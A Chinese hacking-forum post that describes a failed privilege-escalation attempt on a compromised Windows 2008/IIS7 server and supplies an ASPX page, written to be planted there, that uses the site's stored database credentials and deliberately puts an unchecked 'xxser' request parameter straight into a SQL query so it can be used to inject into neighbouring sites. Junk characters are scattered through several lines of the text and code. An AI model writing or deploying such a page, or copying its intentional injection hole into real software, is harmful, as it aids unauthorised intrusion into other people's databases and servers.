利用aspx构造注射来跨站

admin

昨天跟4z1看一个站点，提权很难提，看了整整5个小时，无果。 2008+iis7，无sa，无root，无各种服务。。。
其实中用到了aspx构造注射来跨站，网上找了一堆代码，没一个能用的。
) e' J. o+ D' n- o  O7 e. t7 g, c7 P代码量不多，自己写个拉倒了。烦死了。

9 ^* D9 h' Z- e​
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>暗影aspx构造注射专用页面</title>
</head>
0 }) y: [% E2 R' a<body>
, E% e' [& ^! c% F% Y    <form id="form1" runat="server">
    <div>
     <script language="c#" runat="server">
            
         void page_init(object sender, EventArgs e)
         {
            
             System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
            
             conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
             conn.Open();
            
# W1 [2 `0 l9 r( H             string i =  this.Page.Request.Params["xxser"];  //这里是参数?xxser=1
; v. N7 P* \, P& s/ J- g            
% k; T" j" q& k' }8 N             System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
5 W/ }/ n" {: \) X' D             int x = command.ExecuteNonQuery();
# G1 [2 L. w+ M; {# t1 S             Response.Write(i+"\n");
             Response.Write(x);
             conn.Close();
         }
% N# y$ Q- m: X- `     
- \% \! ~3 X+ G7 f$ v7 w7 j9 f3 w5 e  </script>
    </div>
# s) B; e: X) f* C    </form>
</body>
</html>
5 ]2 V! R3 A7 C& l2 D, p